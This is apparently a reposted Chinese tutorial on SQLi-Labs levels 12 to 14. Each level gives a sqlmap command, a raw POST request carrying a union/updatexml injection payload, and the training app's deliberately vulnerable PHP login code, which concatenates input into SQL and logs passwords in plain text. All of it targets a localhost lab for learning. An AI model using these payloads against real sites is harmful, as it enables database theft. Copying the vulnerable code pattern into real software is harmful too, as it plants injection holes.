【Mysql sql inject】【入門篇】SQLi-Labs使用 part 2

來源:互聯網
上載者:User

標籤:

  • Less-12 - POST - Error Based- Double quotes- String

1)知識點

    主要考察報錯注入中的雙引號閉合注入情況。

2)工具用法:

SQLMAP POST注入用法之一,注入點處加 * 號,也可以用-r選項。sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-12/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

3)手工注入

POST /hacker/sqli-labs-master/Less-12/index.php?id=1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 98 uname=111") UNION ALL SELECT 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

4)注入點代碼

// take the variablesif(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘])){$uname=$_POST[‘uname‘];$passwd=$_POST[‘passwd‘]; //logging the connection parameters to a file for analysis.$fp=fopen(‘result.txt‘,‘a‘);fwrite($fp,‘User Name:‘.$uname."\n");fwrite($fp,‘Password:‘.$passwd."\n");fclose($fp);  // connectivity$uname=‘"‘.$uname.‘"‘;   //雙引號閉合$passwd=‘"‘.$passwd.‘"‘;@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);

 

  • Less-13- Double Injection- String- with twist

1)知識點

    主要考察報錯注入中的單引號+括弧閉合注入情況。

2)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-13/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

3)手工注入

POST /hacker/sqli-labs-master/Less-13/index.php?id=1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 93 uname=111‘) union select 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

4)注入點產生代碼

// take the variablesif(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘])){$uname=$_POST[‘uname‘];$passwd=$_POST[‘passwd‘]; //logging the connection parameters to a file for analysis.$fp=fopen(‘result.txt‘,‘a‘);fwrite($fp,‘User Name:‘.$uname."\n");fwrite($fp,‘Password:‘.$passwd."\n");fclose($fp);  // connectivity@$sql="SELECT username, password FROM users WHERE username=(‘$uname‘) and password=(‘$passwd‘) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);

 

  • Less-14- Double Injection- Double quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-14/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

2)手工注入

POST /hacker/sqli-labs-master/Less-14/index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 92 uname=111" union select 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

3)注入點產生代碼

if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘])){$uname=$_POST[‘uname‘];$passwd=$_POST[‘passwd‘]; //logging the connection parameters to a file for analysis.$fp=fopen(‘result.txt‘,‘a‘);fwrite($fp,‘User Name:‘.$uname."\n");fwrite($fp,‘Password:‘.$passwd."\n");fclose($fp);  // connectivity$uname=‘"‘.$uname.‘"‘;$passwd=‘"‘.$passwd.‘"‘;@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);

 

【Mysql sql inject】【入門篇】SQLi-Labs使用 part 2

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.